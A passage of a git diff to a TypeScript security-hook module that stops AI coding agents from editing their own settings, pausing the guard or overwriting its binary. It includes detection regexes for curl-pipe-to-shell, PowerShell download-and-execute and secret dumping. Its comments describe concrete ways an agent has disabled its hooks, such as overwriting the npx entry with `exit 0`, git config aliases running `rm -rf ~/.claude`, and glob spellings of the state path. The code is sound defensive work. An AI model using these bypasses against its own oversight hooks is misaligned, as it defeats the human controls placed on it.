removing every + * `.json` one directory deep in a repository compiled to a pattern that reaches + * `.claude/settings.json` and no decoy at all. These are the ordinary files such + * a pattern also lands on — and the ordinary siblings of agent files that live + * in a shared directory (`~/.config`, `.github`, git hooks in `.github/hooks`), + * so a sweep of one reads as the sweep it is. Agents' own directories get no + * siblings here: a glob over `~/.claude` IS aimed at the settings inside it. + */ +const AGENT_SETTINGS_GLOB_DECOY_PATHS: readonly string[] = [ + "src/settings.json", "config/hooks.json", "app/config.toml", "deploy/config.yaml", + "lib/plugins/index.mjs", "projects", "docs", + ".config/git", ".config/gh", ".config/nvim", ".github/workflows", ".github/hooks/pre-commit", +]; + +const AGENT_SETTINGS_HOME_SPELLINGS = ["~", "$HOME", "${HOME}", "/home/u", "/Users/u", "/root"] as const; + +function underEveryAgentSettingsHome(paths: readonly string[]): string[] { + const homes = [...AGENT_SETTINGS_HOME_SPELLINGS, homedir().replaceAll("\\", "/")]; + return homes.flatMap((home) => paths.map((path) => `${home}/${path}`)); +} + +/** + * The paths a glob has to be able to reach to count as aimed at agent settings. + * + * When the session already stands in an agent directory, the files directly in + * it are reachable by a bare `*.json`, so their names join the list, and so do + * the session's extra settings files and directories. + */ +export function agentSettingsGlobCandidates(cwd: string | undefined, extraPaths: readonly string[] = []): string[] { + const candidates = [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...underEveryAgentSettingsHome(HOME_AGENT_SETTINGS_GLOB_PATHS)]; + for (const absolute of relocatedAgentSettings(extraPaths)) { + candidates.push(...withAgentSettingsHomeForm(absolute), ...withAgentSettingsHomeForm(dirname(absolute))); + } + if (cwd && isAgentConfigDirPath(cwd)) { + const here = cwd.replaceAll("\\", "/").replace(/\/+$/, "").toLowerCase(); + for (const path of [...PROJECT_AGENT_SETTINGS_GLOB_PATHS, ...HOME_AGENT_SETTINGS_GLOB_PATHS]) { + // `.config/opencode/opencode.json` from inside `~/.config/opencode` is + // `opencode.json`: every split of the path whose directory half is where + // the session stands. + for (let cut = path.indexOf("/"); cut !== -1; cut = path.indexOf("/", cut + 1)) { + if (here.endsWith(`/${path.slice(0, cut).toLowerCase()}`)) candidates.push(path.slice(cut + 1)); + } + } + } + return candidates; +} + +/** + * Decoys for those candidates, in the same spellings, on top of the shared + * `baseDecoys`. From inside an agent directory the bare-name decoys go: they + * are what keeps `rm -rf *` allowed in a project, and in `~/.claude` that + * command removes the settings. + */ +export function agentSettingsGlobDecoys(cwd: string | undefined, baseDecoys: readonly string[]): string[] { + const decoys = [...baseDecoys, ...AGENT_SETTINGS_GLOB_DECOY_PATHS, ...underEveryAgentSettingsHome(AGENT_SETTINGS_GLOB_DECOY_PATHS)]; + return cwd && isAgentConfigDirPath(cwd) ? decoys.filter((decoy) => decoy.includes("/")) : decoys; +} diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 717bd18c7..7e64edc78 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join } from "node:path"; -import { lstatSync, readlinkSync, statSync } from "node:fs"; +import { resolve, join, posix } from "node:path"; +import { lstatSync, readFileSync, readdirSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -16,7 +16,16 @@ import { POLICY_CATALOG } from "./policy-catalog"; import { allow, deny, instruct } from "./policy-helpers"; import { normalizePolicyName, registerPolicy } from "./policy-registry"; import { hookLogWarn } from "./hook-logger"; - +import { + agentCliSwitchesHooksOff, + agentSettingsGlobCandidates, + agentSettingsGlobDecoys, + agentSettingsShellCwd, + agentSettingsShellMatcher, + agentSettingsWriteTarget, + physicalAgentPath, + programNamesAgentSettings, +} from "./agent-settings-guard"; /** * Whether `resolved` lives under an agent CLI's home directory * (~/.claude/, ~/.codex/, ~/.copilot/, ~/.cursor/, ~/.pi/, ~/.gemini/, or any @@ -46,7 +55,6 @@ function isAgentInternalPath(resolved: string): boolean { } return false; } - /** * Whether `resolved` is a settings/hooks file for an agent CLI: * • Claude Code: `.claude/settings.json`, `.claude/settings.local.json`, etc. @@ -64,7 +72,9 @@ function isAgentInternalPath(resolved: string): boolean { * and the customization-root hook config * `~/.gemini/config/hooks.json`. * These must NEVER be edited by the agent itself — that would let it disable - * its own protections. + * its own protections. `block-read-outside-cwd` refuses READS of this list; + * writes are refused by `block-failproofai-commands`, against the wider list + * in agent-settings-guard.ts that covers all eleven integrations. */ function isAgentSettingsFile(resolved: string): boolean { if (/[\\/]\.claude[\\/]settings(?:\.[^/\\]+)?\.json$/.test(resolved)) return true; @@ -86,19 +96,15 @@ function isAgentSettingsFile(resolved: string): boolean { if (/[\\/]\.gemini[\\/]config[\\/]hooks\.json$/.test(resolved)) return true; return false; } - // Back-compat aliases — kept for any caller that imports the old names. const isClaudeInternalPath = isAgentInternalPath; const isClaudeSettingsFile = isAgentSettingsFile; - function getCommand(ctx: PolicyContext): string { return (ctx.toolInput?.command as string) ?? ""; } - function getFilePath(ctx: PolicyContext): string { return (ctx.toolInput?.file_path as string) ?? ""; } - /** * Parse a command string into argv tokens for safe pattern matching. * Splits on whitespace and strips simple single/double quotes. @@ -107,10 +113,8 @@ function getFilePath(ctx: PolicyContext): string { function parseArgvTokens(cmd: string): string[] { return cmd.trim().split(/\s+/).map((t) => t.replace(/^['"]|['"]$/g, "")); } - // Shell operators that always act as command separators when whitespace-delimited. const SHELL_OPERATORS = new Set(["&&", "||", "|", ";"]); - // Shell metacharacters that are unsafe when embedded inside a token. Any command // whose argv contains one of these in a token is rejected before allowlist matching. // This closes the bypass where operators are glued to a word (e.g. "nginx;evil" or @@ -120,10 +124,8 @@ const SHELL_OPERATORS = new Set(["&&", "||", "|", ";"]); const SHELL_METACHAR_RE = /[;&<>`$()\\]/; // -- Pre-compiled regex constants (hoisted to avoid per-call allocation) -- - // sanitizeJwt const JWT_RE = /eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/; - // sanitizeApiKeys const API_KEY_PATTERNS: Array<[RegExp, string]> = [ [/sk-ant-[A-Za-z0-9\-_]{20,}/, "Anthropic API key"], @@ -136,16 +138,12 @@ const API_KEY_PATTERNS: Array<[RegExp, string]> = [ [/sk_test_[A-Za-z0-9]{24,}/, "Stripe test secret key"], [/AIza[0-9A-Za-z\-_]{35}/, "Google API key"], ]; - // sanitizeConnectionStrings const CONNECTION_STRING_RE = /(?:postgresql|postgres|mysql|mongodb(?:\+srv)?|redis|amqps?|smtps?):\/\/[^@\s]+@/; - // sanitizePrivateKeyContent const PRIVATE_KEY_RE = /-----BEGIN (?:[A-Z]+ )?PRIVATE KEY-----/; - // sanitizeBearerTokens const BEARER_TOKEN_RE = /Authorization:\s*Bearer\s+[A-Za-z0-9\-._~+/]{20,}/i; - /** * Every pattern the `sanitize-*` policies treat as a secret, as one list. * @@ -171,17 +169,14 @@ export const SECRET_PATTERNS: ReadonlyArray = [ [CONNECTION_STRING_RE, "database credentials"], ...API_KEY_PATTERNS, ]; - // warnDestructiveSql / warnSchemaAlteration const SQL_TOOL_RE = /\b(?:psql|mysql|sqlite3|pgcli|clickhouse-client)\b/; const DESTRUCTIVE_SQL_RE = /\b(?:DROP\s+(?:TABLE|DATABASE|SCHEMA)|TRUNCATE\b)/i; const DELETE_NO_WHERE_RE = /\bDELETE\s+FROM\b/i; const SQL_WHERE_RE = /\bWHERE\b/i; const SCHEMA_ALTER_RE = /\bALTER\s+TABLE\b[\s\S]*\b(?:DROP\s+COLUMN|ADD\s+COLUMN|RENAME\s+(?:COLUMN|TO)|MODIFY\s+COLUMN)\b/i; - // warnPackagePublish const PUBLISH_CMD_RE = /(?:npm\s+publish|bun\s+publish|pnpm\s+publish|yarn\s+npm\s+publish|twine\s+upload|poetry\s+publish|cargo\s+publish|gem\s+push)\b/; - // protectEnvVars const ENV_PRINTENV_RE = /(?:^|\s|;|&&|\|\|)(?:env|printenv)(?:\s|$|;|&&|\|)/; const ECHO_ENV_RE = /echo\s+.*\$\{?[A-Za-z_]/; @@ -199,15 +194,12 @@ const PS_ENV_VAR_RE = /\$env:[A-Za-z_]/i; const PS_CHILDITEM_ENV_RE = /(?:Get-ChildItem|dir|gci|ls)\s+Env:/i; const DOTNET_GETENV_RE = /\[Environment\]::GetEnvironment/i; const CMD_ECHO_ENV_RE = /echo\s+%[A-Za-z_]/i; - // blockEnvFiles const ENV_FILE_PATH_RE = /(?:^|[\\/])\.env(?:\.|$)/; const ENV_CMD_RE = /\.env(?:\b|\s|$|\.)/; - // blockSudo const PS_ELEVATION_RE = /Start-Process\s+.*-Verb\s+RunAs/i; const RUNAS_RE = /(?:^|;|&&|\|\|)\s*runas\s/i; - // blockCurlPipeSh const CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh|fish|ash)\b/; /** @@ -252,7 +244,6 @@ const CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh| * a segment, or behind a runner (`npx`, `pnpm dlx`, `node`, `sh -c`) and its * flags. In every false positive above it sits where an ARGUMENT goes. */ - /** * Split a command into the pieces a shell would treat as separate commands. * @@ -262,7 +253,6 @@ const CURL_PIPE_SH_RE = /(?:curl|wget)\s.*\|\s*(?:sh|bash|zsh|dash|ksh|csh|tcsh| * argument of `echo`. */ const SEGMENT_SEPARATORS = /[;&|\n\r(){}`]+/; - /** * Tokens that stand in front of the real binary without being it: package * runners, interpreters, and the `exec`-alikes. Compared by basename, so @@ -274,12 +264,10 @@ const COMMAND_PREFIX_TOKENS = new Set([ "time", "timeout", "nice", "stdbuf", "xargs", "sudo", "doas", "sh", "bash", "zsh", "dash", "ksh", "fish", "ash", ]); - /** The binary itself, however it is pinned or pathed: `failproofai`, * `failproofai@latest`, `/usr/local/bin/failproofai`, * `./node_modules/.bin/failproofai`, `.../failproofai/bin/failproofai.mjs`. */ const SELF_BINARY_TOKEN_RE = /(?:^|\/)failproofai[^/]*$/; - /** * The same CLI, reached by path rather than by name. * @@ -288,23 +276,18 @@ const SELF_BINARY_TOKEN_RE = /(?:^|\/)failproofai[^/]*$/; * paused enforcement. Verified as a live bypass. */ const SELF_ENTRY_PATH_RE = /failproofai\/(?:dist\/(?:cli|index)\.mjs|bin\/failproofai\.mjs)$/; - /** `config`, and the two aliases the entrypoint normalizes to it. */ const CONFIG_SUBCOMMAND_RE = /^(?:config|configure|setup)$/; - /** `--pause`, with or without an `=value` tail. */ const PAUSE_FLAG_RE = /^--pause(?:=|$)/; - /** An `FOO=bar` prefix assignment, which a shell consumes before the command. */ const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/; - /** * A bare operand belonging to the runner in front of it — `timeout 30 …`, * `nice -n 5 …`. Skipped so the runner's argument is not mistaken for the * command. Safe to skip unconditionally: no binary is named `30` or `5m`. */ const RUNNER_OPERAND_RE = /^\d+[a-z]*$/i; - /** * True when `command` runs `failproofai config --pause` in command position. * @@ -315,7 +298,6 @@ const RUNNER_OPERAND_RE = /^\d+[a-z]*$/i; * errs toward refusing rather than toward silently suspending enforcement. */ type SelfInvocation = "pause" | "cli"; - /** * Classify a command by what it does to failproofai itself, or null when it * does nothing to failproofai at all. @@ -381,7 +363,6 @@ function classifySelfInvocation(raw: string): SelfInvocation | null { } return found; } - /** * Decode one ANSI-C `$'...'` body (the text between the quotes) to the bytes a * shell would produce. Covers the escape forms that can reconstruct an ASCII @@ -408,7 +389,6 @@ function decodeAnsiC(body: string): string { }, ); } - /** * Collapse the quoting a POSIX shell resolves LEXICALLY — before it execs a * command — so a literal matcher sees roughly what will actually run. @@ -446,20 +426,58 @@ function stripShellQuoting(command: string): string { ); return ansiDecoded.replace(/\\(.)/g, "$1").replace(/['"]/g, ""); } +/** + * `stripShellQuoting`, for the text a command's variables are read from. The + * quotes come off the same way, but a `$`, a backtick or a backslash the shell + * would NOT expand — inside single quotes or `$'…'`, or behind a backslash — + * stays escaped, so `B='$A'` is `B=\$A` here where the plain strip makes it + * `B=$A`, a reference the command never makes. One pass, linear. + */ +function stripShellQuotingKeepingLiterals(command: string): string { + const text = command.replace(/\\\r?\n/g, ""); + // Quote characters never reach the output, as in the plain strip. + const literal = (body: string): string => body.replace(/['"]/g, "").replace(/[\\$`]/g, "\\$&"); + let out = ""; + let inDouble = false; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\" && i + 1 < text.length) { + const next = text[++i]; + if (next === "\\" || next === "$" || next === "`") out += `\\${next}`; + else if (next !== "'" && next !== '"') out += next; + } else if (ch === '"') { + inDouble = !inDouble; + } else if (inDouble) { + if (ch !== "'") out += ch; + } else if (ch === "'") { + const close = text.indexOf("'", i + 1); + // Unclosed: the quote is dropped and the rest read as written. + if (close === -1) continue; + out += literal(text.slice(i + 1, close)); + i = close; + } else if (ch === "$" && text[i + 1] === "'") { + let close = i + 2; + while (close < text.length && text[close] !== "'") close += text[close] === "\\" ? 2 : 1; + if (close >= text.length) { + out += ch; + continue; + } + out += literal(decodeAnsiC(text.slice(i + 2, close))); + i = close; + } else out += ch; + } + return out; +} const PS_WEB_PIPE_RE = /(?:Invoke-WebRequest|iwr|Invoke-RestMethod|irm)\s+.*\|\s*(?:Invoke-Expression|iex)/i; - // blockForcePush const SHORT_FLAG_BUNDLE_RE = /^-[a-zA-Z]*f[a-zA-Z]*$/; const SAFE_FORCE_PREFIXES = ["--force-with-lease", "--force-if-includes"] as const; - // blockSecretsWrite const SECRET_FILE_RE = /\.(?:pem|key)$/; const SECRET_FILE_ID_RSA_RE = /id_rsa/; const SECRET_FILE_CREDENTIALS_RE = /credentials/; - // blockWorkOnMain const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; - // blockFailproofaiCommands /** * The path component `name` (regex source), only where it STARTS a component: @@ -484,7 +502,6 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; function pathComponent(name: string): string { return String.raw`${name}(?<=(?:^|[\\/\s"'\`=:;|&<>(){},])${name}|(?:^|\s)-[A-Za-z]+${name})`; } - /** * failproofai's INSTALLED CODE: the package a hook command runs, and the bin * entry that names it. @@ -498,11 +515,17 @@ function pathComponent(name: string): string { * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * + * Project-scope hooks are portable instead: `npx -y failproofai --hook …`, so + * the committed file names no machine's path. npx runs a + * `node_modules/.bin/failproofai` it finds in the project, or in ANY directory + * above it, before the global install or its own cache, without checking what + * the file is. So one Write of `exit 0` to that path turned every later hook in + * that tree into an allow, and kept doing it in every later session + * (FailproofAI/agenteye#1795). That entry is matched below too. + * * A checkout of this repository matches none of the shapes below — no * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard * does not stand in front of working on failproofai itself. - * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here - * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path @@ -529,10 +552,22 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // the variables nvm and pnpm export for those directories. A FILE, so a // directory of that name (`~/bin/failproofai/src/…`) is not it. String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + // The entry `npx -y failproofai` runs first: `.bin/failproofai` in a + // `node_modules` of the project or of any directory above it (and in the + // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) + // write beside it on Windows. Not anchored on `node_modules`, so the + // relative `.bin/failproofai` a command run from inside `node_modules` + // names is the same file. `.bin` must start a path component + // (`pathComponent`), so `firmware.bin/failproofai` is not it, while + // `>.bin/…` and a short option the path is glued to (`-O.bin/…`, + // `-so.bin/…`) are. A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + pathComponent(String.raw`\.bin`) + + String.raw`[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, ].join("|"), "i", ); - /** * failproofai's own files: its state, and the installed code above. * @@ -548,7 +583,6 @@ const FAILPROOFAI_STATE_PATH_RE = new RegExp( String.raw`\.failproofai(?:\/|\b)|` + FAILPROOFAI_CODE_PATH_RE.source, "i", ); - /** * Which of failproofai's own files `path` names, for a deny message that says * which. Tool input is untrusted JSON, so a non-string is read the way @@ -560,7 +594,6 @@ function failproofaiFileKind(path: unknown): "state" | "code" | null { if (!FAILPROOFAI_STATE_PATH_RE.test(text)) return null; return FAILPROOFAI_CODE_PATH_RE.test(text) ? "code" : "state"; } - /** * The file a write to `path` actually changes, every symlink resolved. * @@ -623,7 +656,6 @@ function resolveWriteTarget(path: unknown, cwd: unknown): string { return ""; } } - /** * Everything the state guard is allowed to let PAST, as a list of commands that * can only read. @@ -653,6 +685,8 @@ const STATE_READ_COMMANDS = new Set([ // Contents "cat", "bat", "less", "more", "head", "tail", "nl", "strings", "xxd", "od", "jq", "yq", "diff", "cmp", "wc", "sort", "uniq", "column", "awk", "cut", + // Filters with no output file of their own: `cat … | tr a-z A-Z` reads. + "tr", "tac", "rev", "fold", "fmt", "expand", "unexpand", "paste", "comm", "join", // Listing and metadata "ls", "dir", "tree", "stat", "file", "du", "df", "readlink", "realpath", "basename", "dirname", "pwd", "test", "find", @@ -673,7 +707,6 @@ const STATE_READ_COMMANDS = new Set([ // blocking the ordinary way of checking whether the state is there. "[", "[[", "]", "]]", "test", "read", "for", "select", "case", "done", "fi", "esac", ]); - /** * Shell keywords that stand in FRONT of a real command. * @@ -683,7 +716,6 @@ const STATE_READ_COMMANDS = new Set([ * relying on `until` being unrecognised. */ const SHELL_KEYWORD_PREFIXES = new Set(["do", "then", "else", "elif", "if", "while", "until", "!"]); - /** * A loop header, which hands its word list to the body that follows. * @@ -693,7 +725,6 @@ const SHELL_KEYWORD_PREFIXES = new Set(["do", "then", "else", "elif", "if", "whi * mentions. The header's reach has to carry into the body, and stop at `done`. */ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; - /** * Commands whose verdict depends on which END of the argument list the state * path sits at. @@ -704,7 +735,6 @@ const LOOP_HEADER_RE = /(?:^|[\s(])(?:while|until|for|select)\s/; * only the destination separates them, so the destination is what decides. */ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); - /** * Commands that write EVERY path operand they are given. * @@ -714,7 +744,6 @@ const COPY_COMMANDS = new Set(["cp", "rsync", "install"]); * copy family: which end of the pipe the state sits on. */ const OPERAND_WRITE_COMMANDS = new Set(["tee"]); - /** * Readers whose LAST operand is an output file rather than another input. * @@ -724,7 +753,6 @@ const OPERAND_WRITE_COMMANDS = new Set(["tee"]); * `xxd ~/.failproofai/policies-config.json | head` stays allowed. */ const SECOND_OPERAND_WRITERS = new Set(["uniq", "xxd"]); - /** * Readers that write to a file NAMED BY A FLAG, per command. * @@ -735,11 +763,30 @@ const SECOND_OPERAND_WRITERS = new Set(["uniq", "xxd"]); * the config with whatever a server returns. */ const OUTPUT_FLAG_COMMANDS: Record = { + // `git log --output=` writes whatever `--format` says into it; `-o` is + // only an output for `archive` and `format-patch`, which the git branch checks. + git: ["--output", "--output-directory"], + // `gh release download -O `, `gh run download -D `. + gh: ["-O", "--output", "-D", "--dir"], sort: ["-o", "--output"], tree: ["-o", "--output"], - curl: ["-o", "--output", "--output-dir", "-D", "--dump-header", "--trace", "--trace-ascii"], + curl: [ + "-o", + "--output", + "--output-dir", + "-D", + "--dump-header", + "--trace", + "--trace-ascii", + "-c", + "--cookie-jar", + "--stderr", + "--libcurl", + "--etag-save", + "--hsts", + "--alt-svc", + ], }; - /** * `find` actions that write a file of their own, as opposed to running one. * @@ -748,7 +795,6 @@ const OUTPUT_FLAG_COMMANDS: Record = { * target, and `find` is on the read allowlist. */ const FIND_WRITE_ACTIONS = new Set(["-fprint", "-fprint0", "-fprintf", "-fls"]); - /** * Commands safe to hand a matched path to from `find -exec`. * @@ -765,18 +811,138 @@ const SAFE_EXEC_COMMANDS = new Set([ "grep", "egrep", "fgrep", "rg", "md5sum", "sha1sum", "sha256sum", "shasum", "cksum", "echo", "printf", "true", ":", ]); - /** * `git` subcommands that rewrite or delete a working tree. * * `git` is otherwise treated as carrying a path as PROSE — `git commit -m * "document ~/.failproofai layout"` must not deny — but `git clean -xdff * .failproofai` deletes the directory as thoroughly as `rm -rf` does. + * + * The second row moves or rewrites files too: `git mv .claude/settings.json x` + * takes an agent's hooks away, `git -C ~/.claude pull` or `merge` or `switch` + * replaces them with whatever another branch holds, `git apply` writes whatever + * its patch says, and `git bundle create ` writes the file it is given. + * These count only when an OPERAND names a protected path, the repository + * (`-C`) is one, or the shell stands in one — never a message: `git merge + * feature -m "notes about ~/.failproofai"` writes nothing there. */ const GIT_DESTRUCTIVE_SUBCOMMANDS = new Set([ "clean", "rm", "restore", "checkout", "reset", "stash", + "mv", "pull", "apply", "merge", "switch", "rebase", "am", "cherry-pick", "revert", "bundle", ]); - +/** + * The options whose value is a message (or a parent number), per destructive + * subcommand. Per subcommand because `-m` means something else elsewhere: + * `--merge` to `checkout`, `switch`, `restore` and `rebase`, `--message-id` + * to `am` — skipping its "value" there would skip the path. + */ +const GIT_MESSAGE_OPTIONS: Readonly>> = { + merge: new Set(["-m", "--message", "-F", "--file"]), + stash: new Set(["-m", "--message"]), + revert: new Set(["-m", "--mainline"]), + "cherry-pick": new Set(["-m", "--mainline"]), +}; +/** + * Whether one of a git command's OPERANDS names the target: messages and + * config values skipped, `-C`'s repository kept. Once quotes are gone (the + * unescaped pass) a message is no longer one word, so it runs to the next + * option instead. + */ +function gitOperandsNameTarget( + gitWords: string[], + subcommand: string, + names: (text: string) => boolean, + quoted: boolean, +): boolean { + const messageOptions = GIT_MESSAGE_OPTIONS[subcommand] ?? new Set(); + for (let i = 1; i < gitWords.length; i++) { + const word = gitWords[i]; + if (word === "-c" || word === "--config-env") { + i++; + continue; + } + if (messageOptions.has(word)) { + i++; + if (!quoted) while (i + 1 < gitWords.length && !gitWords[i + 1].startsWith("-")) i++; + continue; + } + if (messageOptions.size > 0 && (/^--(?:message|file|mainline)=/.test(word) || /^-m./.test(word))) continue; + if (names(word)) return true; + } + return false; +} +/** + * The directories a git command runs in: every `-C ` before the + * subcommand applies in turn, from where the shell may stand, so `git -C + * .claude log --output=settings.json` writes `.claude/settings.json`. Where + * the shell stands is unknown, the chain stays relative, which the shapes + * still read. A `-C` after the subcommand is that subcommand's own option. + */ +/** A repository `-C` names that the walk lost track of: any relative path in it may be the target. */ +const GIT_REPOSITORY_LOST = "\u0000lost"; + +function gitRepositoryDirs( + gitWords: string[], + cwds: ReadonlyArray, + /** The texts a word built by expansions may become, or null; `-C "$D"` is each of them. */ + valuesOf: (word: string) => string[] | null = () => null, +): string[] { + const chain: string[] = []; + const at = gitWords.findIndex((word) => commandBasename(word) === "git"); + for (let i = at + 1; at !== -1 && i < gitWords.length; i++) { + const word = gitWords[i]; + if (GIT_FLAGS_WITH_OPERANDS.has(word)) { + if (word === "-C" && i + 1 < gitWords.length) chain.push(gitWords[i + 1]); + i++; + continue; + } + if (!word.startsWith("-")) break; + } + if (chain.length === 0) return []; + // Each `-C` as every text it may be, a few chains at most. + let chains: string[][] = [[]]; + for (const step of chain) { + const forms = /[$`]/.test(step) ? valuesOf(step) ?? [step] : [step]; + chains = chains.flatMap((walked) => forms.map((form) => [...walked, form])); + // More chains than are kept: the repository may be any of them, so a + // relative path is read as reaching the target (found by hermes on #1053). + if (chains.length > 16) return [GIT_REPOSITORY_LOST]; + } + const dirs = new Set(); + for (const steps of chains) for (const cwd of cwds) { + // As text, and as chdir walks it: `-C link/..` with `link -> ~/.claude/x` + // is ~/.claude to git, whatever the text says. + for (const physical of [false, true]) { + let dir: string | undefined = cwd; + let relativeChain = ""; + for (const step of steps) { + const literal = !/[$`]/.test(step); + const walked = physical && literal ? physicalAgentPath(step, dir) : null; + const next = walked ?? cdDestination(dir, step); + if (next !== undefined) { + dir = next; + relativeChain = ""; + } else if (dir === undefined && isRelativeShellWord(step) && literal) { + relativeChain = posix.join(relativeChain, step); + } else { + dir = undefined; + relativeChain = ""; + } + } + if (dir !== undefined) dirs.add(dir); + else if (relativeChain) dirs.add(relativeChain); + } + } + return [...dirs]; +} +/** + * `git -c` settings that make git run a command: an alias beginning `!`, a + * pager, an editor, an ssh command, a filter or diff driver, a credential + * helper. `git -c alias.x='!rm -rf ~/.claude' x` is a deleter wearing a mention + * command's name. + */ +const GIT_CONFIG_RUNS_CODE_RE = + /^['"]?(?:alias\.[^=]+=\s*['"]?!|core\.(?:pager|editor|sshcommand|fsmonitor|hookspath|askpass)=|(?:diff|merge|filter)\.[^=]*\.(?:command|textconv|driver|clean|smudge|process)=|credential\.[^=]*helper=|sequence\.editor=)/i; /** * `git`'s own options that swallow the token after them. * @@ -786,7 +952,6 @@ const GIT_DESTRUCTIVE_SUBCOMMANDS = new Set([ * `git clean -xdff` of the state directory through. */ const GIT_FLAGS_WITH_OPERANDS = new Set(["-C", "-c", "--git-dir", "--work-tree", "--namespace", "--exec-path"]); - /** * Where the `git` subcommand sits in `args`, with git's own global options * walked off first, or `-1` when there is no subcommand at all. @@ -807,13 +972,11 @@ function gitSubcommandIndex(args: string[]): number { } return -1; } - /** The `git` subcommand, with git's own global options walked off first. */ function gitSubcommand(args: string[]): string | undefined { const i = gitSubcommandIndex(args); return i < 0 ? undefined : args[i]; } - /** * Commands that take a path as text to record or print, not as a file to open. * @@ -822,10 +985,8 @@ function gitSubcommand(args: string[]): string | undefined { * half of this policy already had to be anchored to avoid. */ const STATE_MENTION_COMMANDS = new Set(["git", "gh", "glab", "echo", "printf", "curl", "code", "open"]); - /** `find` actions that hand the matched paths to an arbitrary command. */ const FIND_EXEC_ACTIONS = new Set(["-exec", "-execdir", "-ok", "-okdir"]); - /** * The pieces a shell treats as SEPARATE commands. * @@ -836,10 +997,8 @@ const FIND_EXEC_ACTIONS = new Set(["-exec", "-execdir", "-ok", "-okdir"]); * keeps `cat ~/.failproofai/config.json && rm /tmp/scratch` allowed. */ const PIPELINE_SEPARATORS = /\|\||&&|[;\n\r&]+/; - /** A `$VAR` or `${VAR}` reference, wherever it sits. */ const VAR_REFERENCE_RE = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g; - /** * The spellings of the state directory a glob would have to match. * @@ -881,8 +1040,14 @@ const STATE_GLOB_CANDIDATES = [ "/opt/homebrew/bin/failproofai", "~/.bun/bin/failproofai", "~/.volta/bin/failproofai", + // The entry a project-scope `npx -y failproofai` runs (FailproofAI/agenteye#1795), + // and the Windows shims beside it. + ...["", ".cmd", ".ps1", ".exe", ".bunx"].flatMap((shim) => [ + `node_modules/.bin/failproofai${shim}`, + `./node_modules/.bin/failproofai${shim}`, + `.bin/failproofai${shim}`, + ]), ]; - /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -906,10 +1071,16 @@ const GLOB_DECOYS = [ "node_modules/@types/node", "./node_modules/@types/node", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", + // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the + // sweep it is rather than an aim at failproofai's. + "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + "node_modules/.bin/tsc.cmd", "./node_modules/.bin/tsc.cmd", ".bin/tsc.cmd", + // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. + ".openai", ]; - /** - * True when this token is a glob that could expand onto failproofai's state. + * True when this token is a glob that could expand onto the target — failproofai's + * state, or an agent's settings files (see `ProtectedPathTarget`). * * The floor used to be a literal `fail` in the token, and that is exactly what * a glob is for: `rm -rf ~/.f*ailproofai` spells the same directory without the @@ -925,15 +1096,14 @@ const GLOB_DECOYS = [ * allowed because they sweep the decoys too; `rm -rf /tmp/test-failures*` stays * allowed because it reaches no candidate at all. */ -function globCouldNameState(raw: string): boolean { +function globCouldNameTarget(raw: string, target: ProtectedPathTarget): boolean { // Both readings of a trailing `)`: part of the pattern, and the close of a // subshell that wrapped it. Trying both is safe in the way widening always is // here — the decoy test still has to pass. const stripped = raw.replace(/^[()]+|[()]+$/g, ""); - return globWordCouldNameState(raw) || (stripped !== raw && globWordCouldNameState(stripped)); + return globWordCouldNameTarget(raw, target) || (stripped !== raw && globWordCouldNameTarget(stripped, target)); } - -function globWordCouldNameState(token: string): boolean { +function globWordCouldNameTarget(token: string, target: ProtectedPathTarget): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; // Braces FIRST, because that is the order the shell works in: brace expansion // rewrites the word into several words, and only then is each one matched @@ -942,11 +1112,10 @@ function globWordCouldNameState(token: string): boolean { // shell turns into `~/.fa*ilproofai` and then into `~/.failproofai` — read as // naming nothing at all. for (const word of expandBraces(token)) { - if (wordNamesState(word)) return true; + if (wordNamesTarget(word, target)) return true; } return false; } - /** * How many words one token may expand into before the expansion is abandoned. * @@ -955,14 +1124,12 @@ function globWordCouldNameState(token: string): boolean { * `expandBraces`, which is a superset and so cannot hide anything. */ const BRACE_EXPANSION_LIMIT = 4096; - /** * How many expansion passes one token gets. One pass resolves the outermost * group of every word, so this is a nesting-depth budget — and, like the width * one, running out collapses what is left rather than leaving it 